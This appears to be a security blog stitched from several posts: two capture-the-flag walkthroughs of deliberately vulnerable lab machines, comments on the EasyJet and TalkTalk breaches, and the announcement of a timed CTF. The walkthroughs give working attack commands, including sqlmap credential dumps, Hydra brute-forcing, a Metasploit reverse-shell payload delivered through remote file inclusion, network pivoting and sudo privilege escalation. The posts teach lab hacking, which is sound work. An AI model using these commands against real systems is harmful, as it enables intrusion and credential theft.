Potentially, they are doing this to try and prevent those with malware from using their service in an attempt to decrease fraud? It does raise some concerns though. Is what they are doing legal? I know that if I started port-scanning eBay, it definitely would not be considered legal, so why can they do it?
In the article written by The Register, it appears they are testing at least 13 different ports. This data then appears to be sent to ThreatMetrix, who are no doubt helping collate this information for eBay.
Realistic CTF exercises are definitely amongst my favourites. This CTF simulates a bank holding cryptocurrency. According to the description, the objective is to hack the CryptoBank and reach their cold Bitcoin wallet. Let’s give this a go.
Scan – NMAP
I loaded NMAP to perform a scan for any open ports on the server.
nmap -p- 192.168.56.104
This revealed two open ports. SSH (22), and a Web Server (80). Let’s have a look at the website.
Reviewing the website
The website had a button on it in the top right of the page, which looked interesting (Secure Login). Having clicked it, it returned an error that it couldn’t be loaded. It looks like it is trying to visit http://cryptobank.local/trade
I modified my /etc/hosts file to point this domain to the CTF IP and was then able to load the page.
As this is a login page, let’s check for SQL Injection vulnerabilities. I find the easiest way to do this is using Burpsuite, and sqlmap. Burpsuite is a proxy server that can intercept your traffic before it reaches its destination. I do this so I can save the HTTP request information into a text file which can then be fed into sqlmap.
After loading Burpsuite, I clicked on the Proxy tab, and ensured the Intercept setting was set to ‘On’. Once I confirmed this, I configured the proxy settings in my browser to go through Burpsuite (by default, it runs on port 8080).
I clicked ‘Login’ on the CryptoBank login page, and watched the request come into Burpsuite.
You can right click the request in Burpsuite, and click “Copy to file”. Once the request information was saved in a file, I opened up the terminal, navigated to the folder which contained the request file I just created, and ran sqlmap.
sqlmap -r Crypto
This confirmed the ‘User’ field was indeed injectable. I changed my command slightly so I could see the contents of the database.
As we can see from the output, there are three tables:
As the attack was taking a very long time, I decided to halt the attack and limit it to just the ‘accounts’ table.
sqlmap -r Crypto --dump -T accounts
I recommend going to make a coffee at this point, as this takes a very long time.
2 coffees and an episode of Silicon Valley later, I finally had the list of usernames and passwords. I took one of the usernames, and logged into the website.
Reviewing the Trading Platform
There were a few sections here I looked at. I couldn’t really find anything obviously available to exploit though, so I decided to test for more SQL Injections. On the ‘Apply A Loan’ page was a search field. I decided to give this one a test.
sqlmap returned there were no fields vulnerable here. I proceeded to move onto ‘Money Transfer’.
Whilst I was able to transfer all of the money from this users account it also revealed no SQL vulnerabilities. This isn’t ideal.
I had a further look around, and when browsing the loan page, I noticed you could click onto each of the loans and there was a GET parameter in the URL. I decided to check for SQL injection vulnerabilities here instead.
Great! It looks like this is vulnerable to UNION SQL Injections. This is good news as it means we can extract the database contents a little bit lot quicker. As there wasn’t anything else of interest in the money portal, I decided that this could likely be the attack vector and decided to extract all the databases I possibly could using sqlmap. Perhaps, if we can get the SQL database credentials, we can try them against the SSH service that we know is open from the port scan.
Exploiting the second SQL Injection
sqlmap -r Crypto3 --dump-all
I let this command run, and it exported a lot of the databases and tables. Eventually, it started exporting something using a time-based SQL attack again, so I cancelled it at this point and reviewed what was saved in my sqlmap folder.
We can see the MySQL table has been downloaded. I decided to have a look at user.csv to see the MySQL users. This revealed the user ‘cryptobank’ and revealed the hashed authentication string.
My laptop really isn’t built for hash cracking (or anything, really) – so I loaded up my Desktop PC which has a GPU, and loaded hashcat. There’s a good list called CrackStation which contains a metric ton (1,493,677,782) of passwords. If you add a rule set, it increases even more.
Whilst my Graphics Card was sweating away trying to crack the hash against 14, 336 954, 443 820 possible password combinations, I decided to run DIRB on the website. Normally, I would do this first, but given I found an SQL Injection straight away I hadn’t got around to doing it yet.
This revealed a few more directories I hadn’t yet discovered.
/info.php was a PHP info file, which may come in handy. /development required password authentication. Perhaps this is where we need to put the username/password in once it’s cracked. That being said, we do have a list of usernames and passwords from the website. I suppose there’s no harm checking these whilst we wait.
Unfortunately, this returned no valid login results. I took another look at the web page as I recall there being staff listed there.
If we hover over the e-mail icons, it looks like it links to their profiles. They all return 404 results, but they look like they’re in the format of usernames (julius.b etc). Julius, being the developer, seems to be the one who would most likely accesses /development, but I added all of their usernames into the username list, just in case.
I re-ran the Hydra command. Result! We have a username and password. Do we even need the hash to be cracked now?
Reviewing the development area
Visiting the development area looks a bit like a dead end. Let’s run DIRB on it to see if there are any hidden directories.
This revealed quite a few more directories. /backups just seemed to contain a copy of the main website. /tools however seemed to contain something a lot more interesting.
I had a look around these tools. ‘Execute a command’ required another username and password which I just didn’t have, ‘Upload a file’ seemed to only accept image files (at least without trying to hack it anyway). ‘View a system file’ seemed more interesting though.
I played around with the file GET parameter in the URL. It seemed to mitigate getting anything like /etc/passwd by showing a security error – I decided to see if RFI would work instead.
Remote File Inclusion
set target PHP
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
After running this in msfconsole, I was given some PHP code. I only needed the URL from it though, so I copied this into the file GET parameter, and finally had a shell.
After locating the python binary with the whereis command, I adjusted my command slightly and had an interactive shell.
The first two things I normally do when getting a shell is checking what binaries I can run as root (with Sudo), and checking if there are any binaries with the SUID bit set. I initially checked for SUID binaries:
find / -perm -u=s -type f 2>/dev/null
This didn’t reveal anything obviously exploitable.
I then checked for commands I could run with Sudo:
This just prompted me for my password (which I didn’t have), so it doesn’t look like the attack vector is either of these two things.
I had a look around various directories, and spotted flag.txt in /home/cryptobank. First flag obtained!
After searching various files and folders, I checked for any internal services running on different network ports:
This revealed a few IP’s – 172.17.0.1:8983 seems interesting. I suspect it’s a docker instance running something.
I closed my shell, and went back to the meterpreter console. I then mapped the subnet that IP address was on, using the command below:
run autoroute -s 172.17.0.0/24
Once done, I ran the portfwd command to forward traffic from a port on my local machine to port 8983 we saw with the netstat command:
portfwd add -l 81 -p 8983 -r 172.17.0.1
I then loaded my web browser, and visited http://localhost:81.
After seeing an installation of ‘Solr’, I searched msfconsole for an exploit. In the meterpreter session, I typed ‘background’ to put my session to the back. This put my session back to msfconsole. I then searched for a Solr vulnerability:
This showed an exploit we may be able to use.
set RHOSTS localost
set RPORT 81
set SRVPORT 8082 (this command may not be necessary for you if port 8080 is available).
set LPORT 4441 (this command may also not be necessary).
set LHOST 192.168.56.101
This exploit worked, and I was logged in as the solr user:
I ran the Sudo command to check what I could run as Sudo. Fortunately, it appeared I could run all commands, and quickly had root. Or so I thought! Initially, when I looked at the output of Sudo -l, it looked like I could run everything without a password. It looks though that the Sudo permissions work from the bottom up, rather than top down. So this wasn’t possible unless I provided a password. A few guesses later, and I had root by putting in the password as solr.
This CTF is definitely amongst my favourites. A lot of effort was put into it to make it feel more realistic. If you found this writeup helpful, please feel free to leave me a comment.
I’ve been waiting for some new CTF’s to be published on VulnHub, but in the meantime, I decided to have a crack at mhz_cxf: c1f, published on the 24th April. This CTF is marked as ‘a piece of cake’, so I don’t expect any challenges here.
I’ve also recently installed BackBox Linux, as an alternative to Kali, so figured an easy CTF would be good to try it out.
If you are new to CTF exercises, perhaps this is a good one to get started? As this is rated as ‘Easy’, I’ll probably go into a bit more detail than normal, assuming you’re new to all of this.
The first thing to do is establish the IP address of the vulnerable machine. To do this, I scan the subnet using NMAP.
nmap -sP 192.168.56.0/24
This identified the CTF as having 192.168.56.102 as its IP address.
After getting the IP address, we can use NMAP to identify any open ports:
nmap -p- 192.168.56.102
You may find a few variations of how people run this command. The parameters/flags I’ve specified here make the scan a lot more broad and identify ports in unusual ranges.
This identified two open ports. SSH (Port 22), and a Web Server (Port 80).
Usually, if there’s a web server, that’s probably the best place to look initially. I fired up Firefox, and loaded the website.
This page is just the default page for an Apache installation on Ubuntu, so it doesn’t look like there’s anything on this website yet. Not on the front page at least, anyway.
There’s a handy tool called DIRB which can scan a website for common directories. I loaded up a terminal, and ran the DIRB tool:
This didn’t reveal anything new/useful. By default, DIRB uses a ‘common’ wordlists, but you can change this so it uses a bigger wordlist:
As I’m using BackBox Linux (rather than Kali), this is the location of the wordlists for DIRB. If I remember correctly though, it’s in the same location for Kali Linux, but you may need to adjust the path slightly if not.
The new wordlist was equally as useless though.
You can also get DIRB to append file extensions to the words from the wordlist. That’s probably necessary here (I hope so at least! This is marked as ‘Easy’). Let’s try .html, .php, .phtml, and .txt.
This found a file that may be of use! notes.txt – I put this into Firefox, and here is what I saw:
Let’s have a look at remb.txt, and remb2.txt.
remb2.txt has already been deleted, by the looks of it.
The contents of the first file looks like it may be a username/password combination. We know that this server has the SSH service running, so I loaded up my terminal, and connected to SSH.
After putting in the password, I connected and authenticated successfully.
When we have a shell, the next step is to work out how to elevate our privileges.
First, it’s useful to find out what commands we can run using the Sudo tool. Sudo is a utility that allows a user to run a command with the security context of another user (by default, the root user). You can identify which commands the current logged in user is allowed to run with Sudo by running the following command:
This prompted me for a password, but in this instance, we know what the user password is, so I put this in and ran the command.
I received a message back advising the current user wasn’t allowed to run a command using Sudo. It looks like we’ll need to find another way.
Another thing we can check for is binaries which have the SUID bit set. If a binary has the SUID bit set, its effective UID becomes the owner of the file, opposed to the user who is running it. Sometimes, we can abuse this.
find / -perm -u=s -type f 2>/dev/null
Naturally, there is going to be a lot of binaries listed here. So we need to look for things out of the ordinary. Identifying binaries that look out of the ordinary will come with experience. Out of this list, nothing catches my eye. I also searched for files with 0777 file permissions. Files with 777 permissions can be modified by anybody – this is sometimes helpful if we know a scheduled job being run by the root user is executing a file as we’d be able to modify that file and change what that user was executing.
find / -type f -perm 0777
This again though didn’t reveal anything of interest. I decided to have a look around the shell instead to see what I had access to.
I probably should have listed the contents of the directory I was in earlier, but oh well. I listed the directory contents, and saw a file ‘user.txt’ – when I ran the cat command on it, I was able to see the contents. Nothing useful here but worth mentioning nonetheless.
I navigated to the /etc directory and looked at the passwd file. In Linux, the passwd file contains a list of all the usernames on the server.
It looks like there is another user here ‘mhz_c1f’ – we may need to try and login as this user at some point before escalating our privileges to root.
I decided to see if I could access the users home folder.
Looks like we are able to access their home folder, and there are some image files inside! I’ve recently done another CTF called DeathStar which involved a form of steganography. Steganography is a way to conceal data, text, or an image inside another file, such as an image. Perhaps there are some hidden messages in these files.
I went to my local BackBox terminal (outside of the SSH session), and used SCP to download these images to my local machine.
scp -r firstname.lastname@example.org:/home/mhz_c1f .
Once the files were on my local machine, I used the steghide tool to identify if there was any steganography involved here.
steghide extract -sf filename.jpeg
This extracted a file called remb2.txt! Let’s have a look at the contents.
Here we go. This looks like another username/password. Let’s try changing to this user in our SSH session.
It worked! Let’s repeat the SUDO, SUID, and 0777 checks now that we’re logged in as a different user (see above). I initially repeated the SUDO check.
That’s it. This shows we can run “all” commands using SUDO. I can this command, and I was suddenly the root user:
sudo su -
I suppose this CTF is different, in the sense it isn’t a simulated/realistic hacking exercise, but is instead designed to take you through the different methods you might find useful in future (port scanning, using tools such as DIRB, steganography, and privilege escalation using sudo). I hope you found this walk-through useful.
In case you haven’t heard, EasyJet has recently been subject to a breach involving 9 million customer details, of which 2,200 credit cards were also accessed.
In a statement to the London Stock Exchange, EasyJet claimed they were a target of an attack from a “highly sophisticated source”.
EasyJet may or may not be wrong in their statement, but the words “highly sophisticated” appears to be the default corporate response given from large companies falling foul of a hacking attack. I seem to recall it was only a few years ago when TalkTalk were hacked. TalkTalk were giving off a similar spin: “cyber criminals are becoming increasingly sophisticated and attacks against companies that do business online are becoming increasingly frequent”, only for a minor to be arrested a few weeks later.
The attack method used during the TalkTalk hack was an SQL Injection. As I am sure you’re aware, this is a really trivial vulnerability and is very well understood in the industry. It has also been a known attack vector for decades. It is completely inexcusable that a vulnerability of this nature existed in their systems. If they had taken just basic measures of security, this would have been mitigated.
I will be keen to see more technical detail from EasyJet as it emerges. Is this “highly sophisticated” attack going to be something equally trivial? TalkTalk were fined £400,000 for their breach, but this was prior to GDPR legislation. The maximum fine allowed under GDPR is €20 million, or 4% of annual turnover (whichever is greater). There could be a fairly significant fine involved here. Fortunately, GDPR seems to have made cybersecurity a board room problem, but these attacks are definitely going to remain fairly common place. The real victims here are not the companies who are hacked, but the customers who entrust their data with a company who take relaxed measures in protecting it.
By the way, in case you didn’t know – Dido Harding (who was CEO of TalkTalk when they were breached), is now in charge of the “Track, Test and Trace” effort as part of the UK response to COVID19. Does this fill you with confidence?
Cyber criminals have taken over the energy grid across Europe. As a member of the security service, you’re tasked with breaking into their server, gaining root access, and preventing them from launching their malware before it’s too late.
We know from previous intelligence that this group sometimes use weak passwords. We recommend you look at this attack vector first – make sure you configure your tools properly. We do not have time to waste.
Unfortunately, the criminals have started a 3 hour clock. Can you get to their server in time before their malware is deployed and they destroy the evidence on their server?
The types of vulnerability/techniques used in this CTF can be seen below (they are intentionally hidden by default):
This exercise is designed to be completed in one sitting. Shutting down the virtual machine will not pause the timer. After the timer has finished, the CTF machine will be shut down and you will be unable to boot it. Please keep a local backup of the CTF prior to starting, in case you wish to attempt a second time.
If you are to succeed, I strongly recommend reading these points:
Keep a local backup before starting in case you run out of time
You will need a basic understanding of the GPG tool and how it works
Configure your tools so they work at the maximum/hardest level possible. Make sure you are looping around the correct thing, if you know what I mean
Getting the initial shell is possibly the longest part.
There are four flags in total. Each flag file will guide you to the next area
This virtual machine has been tested in VirtualBox only. I cannot guarantee it will work on VMWare, but it should be okay.
You can download the CTF here. I look forward to your feedback.